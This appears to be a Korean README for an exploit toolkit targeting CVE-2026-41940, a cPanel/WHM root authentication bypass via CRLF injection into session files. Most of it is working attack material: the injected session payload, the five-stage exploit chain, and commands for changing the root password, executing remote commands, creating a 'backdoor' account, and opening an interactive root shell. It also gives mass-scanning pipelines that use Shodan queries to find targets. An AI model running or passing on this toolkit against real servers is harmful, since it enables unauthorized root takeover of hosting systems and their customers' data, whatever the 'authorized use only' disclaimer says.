
CVE-2026-41940 — 세션 파일 CRLF 인젝션을 통한 cPanel 및 WHM 루트 인증 우회를 위한 자동화 스캐너 및 포스트 익스플로잇 툴킷
영어 | فارسی (페르시아어)
██████╗██████╗ █████╗ ███╗ ██╗███████╗██╗
██╔════╝██╔══██╗██╔══██╗████╗ ██║██╔════╝██║
██║ ██████╔╝███████║██╔██╗ ██║█████╗ ██║
██║ ██╔═══╝ ██╔══██║██║╚██╗██║██╔══╝ ██║
╚██████╗██║ ██║ ██║██║ ╚████║███████╗███████╗
╚═════╝╚═╝ ╚═╝ ╚═╝╚═╝ ╚═══╝╚══════╝╚══════╝
██████╗██╗ ██╗███████╗
██╔════╝██║ ██║██╔════╝
██║ ██║ ██║█████╗
██║ ╚██╗ ██╔╝██╔══╝
╚██████╗ ╚████╔╝ ███████╗
╚═════╝ ╚═══╝ ╚══════╝
███████╗██╗ ██╗██████╗ ██╗ ██████╗ ██╗████████╗
██╔════╝╚██╗██╔╝██╔══██╗██║ ██╔═══██╗██║╚══██╔══╝
█████╗ ╚███╔╝ ██████╔╝██║ ██║ ██║██║ ██║
██╔══╝ ██╔██╗ ██╔═══╝ ██║ ██║ ██║██║ ██║
███████╗██╔╝ ██╗██║ ███████╗╚██████╔╝██║ ██║
╚══════╝╚═╝ ╚═╝╚═╝ ╚══════╝ ╚═════╝ ╚═╝ ╚═╝
CVE-2026-41940용 자동화 스캐너 및 포스트 익스플로잇 도구 키트 — 세션 파일 CRLF 주입을 통한 cPanel 및 WHM 루트 인증 우회.
CPANEL CVE EXPLOIT는 CVE-2026-41940에 취약한 cPanel 및 WHM 서버에 대한 승인된 보안 평가를 위해 설계된 단일 파일 Python 도구입니다.
이 취약점을 통해 인증되지 않은 원격 공격자는 Authorization: Basic 헤더의 CRLF 주입으로 WHM 세션 파일을 오염시켜 인증을 우회하고 유효한 자격 증명 없이 루트 수준의 WHM 액세스를 획득할 수 있습니다.
취약한 버전의 cPanel 및 WHM에서 Session.pm의 saveSession()은 세션 파일을 디스크에 기록한 후에 filter_sessiondata()를 호출합니다. 공격자는 HTTP Authorization: Basic 헤더를 통해 CRLF(\r\n) 문자를 주입할 수 있으며, 이는 삭제 절차를 우회하여 디스크의 세션 파일에 직접 기록됩니다.
이 도구는 다음으로 디코딩되는 Base64 인코딩 페이로드를 사용합니다:
root:x
successful_internal_auth_with_timestamp=9999999999
user=root
tfa_verified=1
hasroot=1
이 필드들은 2FA 우회(tfa_verified=1) 및 루트 권한 플래그(hasroot=1)를 포함하여 완전히 인증된 루트 WHM 세션을 시뮬레이션합니다.
cPanel은 Session.pm에서 filter_sessiondata()가 세션 쓰기 작업 이전에 실행되도록 변경했습니다.
익스플로잇 체인은 5단계(Stage 0–4)로 구성됩니다:
flowchart TD
A[Stage 0: Canonical Host Discovery] --> B[Stage 1: Mint Preauth Session]
B --> C[Stage 2: CRLF Injection via Authorization Header]
C --> D[Stage 3: Session Propagation via do_token_denied]
D --> E[Stage 4: Verify Root Access via json-api/version]
E --> F{Vulnerable?}
F -->|Yes| G[Post-Exploit Actions / Interactive Shell]
F -->|No| H[Skip Target]
A -.- A1["GET /openid_connect/cpanelid → 307 redirect reveals real hostname"]
B -.- B1["POST /login/?login_only=1 → whostmgrsession cookie"]
C -.- C1["GET / + poisoned Basic auth → /cpsessXXXXXXXXXX token"]
D -.- D1["GET /scripts2/listaccts → flush raw session to cache"]
E -.- E1["GET /cpsessXXX/json-api/version → HTTP 200 + version JSON"]참고: 패치된 빌드를 실행 중인 대상은 스캔 중 자동으로 표시되어 건너뜁니다.
| 패키지 | 용도 |
|---|---|
selenium | 브라우저 자동 로그인 (--selenium) |
| Chrome / Firefox | Selenium용 브라우저 엔진 |
pip install -r requirements.txt # optional — selenium only
git clone https://github.com/YOUR_USERNAME/cpanel-cve-exploit.git
cd cpanel-cve-exploit
빌드 단계가 필요 없습니다. 바로 실행하세요:
python3 test-cve.py --help
# Scan a single WHM target
python3 test-cve.py -u https://target.com:2087
# Scan with post-exploit: list all cPanel accounts
python3 test-cve.py -u https://target.com:2087 --action list
# Mass scan from file, 20 threads, save JSON report
python3 test-cve.py -l targets.txt -t 20 -o results.json
usage: test-cve.py [-h] [-u URL] [-l LIST] [--hostname HOSTNAME]
[-t THREADS] [--timeout TIMEOUT] [--rate-limit RATE_LIMIT]
[--action {list,passwd,cmd,exec,info,version,shell,adduser}]
[--passwd PASSWD] [--cmd CMD]
[--new-user NEW_USER] [--new-domain NEW_DOMAIN]
[--read-file READ_FILE] [--selenium]
[--engine {chrome,firefox}] [--browser] [--check-rce]
[-o OUTPUT] [--no-color]
| 플래그 | 설명 |
|---|---|
-u, --url | 단일 대상 URL (예: https://host:2087) |
| 플래그 | 설명 |
|---|---|
-o, --output | 결과를 JSON 파일로 저장 |
--no-color | ANSI 색상 출력 비활성화 |
포스트 익스플로잇 플래그는 단일 대상에서만 작동합니다(
-u, 대량 스캔 아님).
# Change root password after bypass
python3 test-cve.py -u https://target.com:2087 --action passwd --passwd 'P@ss2026!'
# Execute remote command
python3 test-cve.py -u https://target.com:2087 --action cmd --cmd "id;whoami;uname -a"
# Create backdoor cPanel account
python3 test-cve.py -u https://target.com:2087 \
--action adduser --new-user backdoor --new-domain evil.com --passwd 'TempPass2026!'
# Open interactive WHM shell
python3 test-cve.py -u https://target.com:2087 --action shell
# Auto-login via Chrome
python3 test-cve.py -u https://target.com:2087 --selenium --engine chrome
# Manual browser login (prints JS for DevTools console)
python3 test-cve.py -u https://target.com:2087 --browser
전체 대화형 세션을 위해 --action shell로 실행하세요:
[email protected] ▶ help
id / whoami / hostname / version → server info
ls [path] → file listing
cat [path] → read file contents
accounts → list cPanel accounts
addadmin <user> <pass> → create WHM admin/reseller
passwd <newpass> → change root password
exec <command> → run OS command
exit / quit → exit shell
예제:
[email protected] ▶ id
uid=0(root) gid=0(root) groups=0(root)
[email protected] ▶ accounts
user=webuser1 domain=example.com [email protected]
user=webuser2 domain=test.com [email protected]
[email protected] ▶ cat /etc/passwd
[email protected] ▶ exit
python3 test-cve.py -l targets.txt -t 20 -o results.json
cat urls.txt | python3 test-cve.py
# subfinder + httpx pipeline
subfinder -d example.com -silent | httpx -p 2087 -silent | python3 test-cve.py -t 30
# Shodan pipeline
shodan search --fields ip_str,port 'title:"WHM Login"' | \
awk '{print "https://"$1":"$2}' | python3 test-cve.py -t 30 -o shodan_results.json
| 형식 | 예시 |
|---|---|
| 전체 URL | https://192.168.1.1:2087 |
| IP + 포트 | 192.168.1.1 2087 |
| Shodan 출력 | 정규식을 통해 자동 파싱 |
| ANSI 색상 출력 | 자동 제거 |
title:"WHM Login"
title:"WebHost Manager" port:2087
product:"cPanel" port:2087
http.title:"WHM"
ssl:"cpanel" port:2087
-o results.json을 사용하면 결과가 JSON으로 저장됩니다:
{
"scanner": "cPanelSniper v2.0",
"cve": "CVE-2026-41940",
"timestamp": "2026-05-23T12:00:00.000000",
"findings": [
{
"severity": "CRIT",
"title": "CVE-2026-41940 — cPanel & WHM Authentication Bypass",
"target": "https://target.com:2087",
"canonical": "server.target.com",
"session": "root:SessionName",
"token": "/cpsess1234567890",
"version": "11.126.0.50",
"api_url": "https://target.com:2087/cpsess1234567890/json-api/version",
"evidence": "{\"version\":\"11.126.0.50\"...}",
"cve": "CVE-2026-41940",
"cvss": "10.0",
"timestamp": "2026-05-23T12:00:05.000000"
}
]
}
══════════════════════════════════════════════════════════════════════
cPanelSniper — CVE-2026-41940 Scan Complete
Time: 12.4s · Targets: 50
──────────────────────────────────────────────────────────────────────
⚡ 2 VULNERABLE TARGET(S)
Target : https://victim1.com:2087
Version : 11.126.0.50
Token : /cpsess1234567890
API URL : https://victim1.com:2087/cpsess1234567890/json-api/version
Evidence : {"version":"11.126.0.50"...}
══════════════════════════════════════════════════════════════════════
$ python3 test-cve.py -u https://target.com:2087
Configuration:
Targets : 1
Threads : 10
Timeout : 15s
Action : scan only
12:00:01 [INFO] Canonical hostname discovered: server.target.com
12:00:02 [ OK] Stage1: preauth session = root:abc123...
12:00:03 [ OK] Stage2: HTTP 307 → token=/cpsess1234567890
12:00:04 [ OK] Stage3: HTTP 401 — do_token_denied gadget fired
12:00:05 [INFO] Stage4: HTTP 200 {"version":"11.126.0.50"...}
12:00:05 [PWND] CVE-2026-41940 CONFIRMED — WHM root access! (v11.126.0.50 — CONFIRMED vulnerable)
12:00:05 [PWND] Token : /cpsess1234567890
12:00:05 [PWND] Session : root:abc123...
12:00:05 [PWND] Version : 11.126.0.50
12:00:05 [PWND] API URL : https://target.com:2087/cpsess1234567890/json-api/version
cpanel-cve-exploit/
├── test-cve.py # Main scanner & exploit tool (single file)
├── requirements.txt # Optional: selenium
├── README.md # English documentation
└── README.fa.md # Persian documentation (فارسی)
승인된 보안 테스트 전용
이 도구는 교육 및 승인된 침투 테스트 목적으로만 제공됩니다.
이 도구를 사용하면 모든 관련 법률을 준수하며 책임감 있게 사용하는 데 동의하는 것입니다.
2087 (HTTPS)보안 연구자를 위해 제작됨 · 책임감 있게 사용하세요
| 속성 | 값 |
|---|
| CVE | CVE-2026-41940 |
| 심각도 | 치명적(Critical) |
| CVSS | 10.0 |
| 공격 경로 | 네트워크 / 인증 없음 |
| 영향 | 전체 WHM 루트 액세스 |
| 기본 포트 | 2087 (WHM) |
| 상태 | 실제 환경 악용 확인됨 (2026년 4월) |
| 단계 | 엔드포인트 | 목적 |
|---|
| 0 | /openid_connect/cpanelid | 307 리디렉션을 통해 정식 호스트 이름 자동 발견 |
| 1 | /login/?login_only=1 | 잘못된 자격 증명으로 사전 인증 whostmgrsession 쿠키 획득 |
| 2 | / | CRLF로 오염된 Authorization: Basic 헤더를 세션 파일에 주입 |
| 3 | /scripts2/listaccts | do_token_denied 가젯을 트리거하여 세션을 캐시로 플러시 |
| 4 | /{token}/json-api/version | 루트 액세스 확인 — HTTP 200 + 버전 JSON |
| 기능 | 설명 |
|---|
| 단일 대상 스캔 | 단일 WHM URL에 대한 전체 익스플로잇 체인 |
| 대량 스캔 | 파일 또는 stdin에서 다중 스레드 스캔 |
| 버전 감지 | 패치/취약 버전 자동 비교 |
| 포스트 익스플로잇 API | 비밀번호 변경, 명령 실행, 계정 목록, 사용자 생성 |
| 대화형 셸 | 파일 읽기 및 API 명령을 지원하는 내장 WHM 루트 셸 |
| Selenium 로그인 | Chrome/Firefox에 세션 쿠키 자동 주입 |
| 수동 브라우저 대체 | 수동 WHM 로그인을 위한 콘솔 JavaScript 스니펫 |
| RCE 확인 | 우회 후 빠른 id / uname -a 검증 |
| JSON 내보내기 | 모든 결과를 구조화된 JSON 보고서로 저장 |
| 파이프라인 지원 | httpx, subfinder, shodan, awk 파이프라인과 호환 |
| 표준 라이브러리 전용 | 핵심 기능에 pip 의존성 불필요 |
| 색상화 출력 | 심각도 표시기를 포함한 실시간 단계 로깅 |
| 브랜치 | 패치 버전 | 상태 |
|---|
| 11.110.x | 11.110.0.97 | 패치 미만 버전 취약 |
| 11.118.x | 11.118.0.63 | 패치 미만 버전 취약 |
| 11.126.x | 11.126.0.54 | 패치 미만 버전 취약 |
| 11.132.x | 11.132.0.29 | 패치 미만 버전 취약 |
| 11.134.x | 11.134.0.20 | 패치 미만 버전 취약 |
| 11.136.x | 11.136.0.5 | 패치 미만 버전 취약 |
-l, --list | URL이 한 줄에 하나씩 포함된 파일 |
--hostname | 정식 Host 헤더 재정의 (기본값: 자동 발견) |
| 플래그 | 기본값 | 설명 |
|---|
-t, --threads | 10 | 동시 스캔 스레드 수 |
--timeout | 15 | HTTP 타임아웃(초) |
--rate-limit | 0 | 대상 제출 간 지연(초) |
| 작업 | 플래그 | 설명 |
|---|
| 스캔만 | (기본값) | 익스플로잇 체인을 실행하고 취약점 보고 |
| 계정 목록 | --action list | WHM API를 통해 모든 cPanel 계정 나열 |
| 비밀번호 변경 | --action passwd --passwd <pass> | root WHM 비밀번호 변경 |
| 명령 실행 | --action cmd --cmd "id;whoami" | WHM exec API를 통해 OS 명령 실행 |
| 서버 정보 | --action info | 호스트 이름, 부하, 디스크, 버전 수집 |
| 버전 확인 | --action version | API를 통해 cPanel/WHM 버전 가져오기 |
| 계정 생성 | --action adduser --new-user u --new-domain d.com --passwd p | 새 cPanel 계정 생성 |
| 대화형 셸 | --action shell | 대화형 WHM 루트 셸 실행 |
| RCE 확인 | --check-rce | 우회 성공 후 id;uname -a 실행 |
| Selenium 로그인 | --selenium [--engine chrome|firefox] | 브라우저에서 WHM 대시보드에 자동 로그인 |
| 수동 브라우저 | --browser | 수동 로그인을 위한 JavaScript 콘솔 명령 출력 |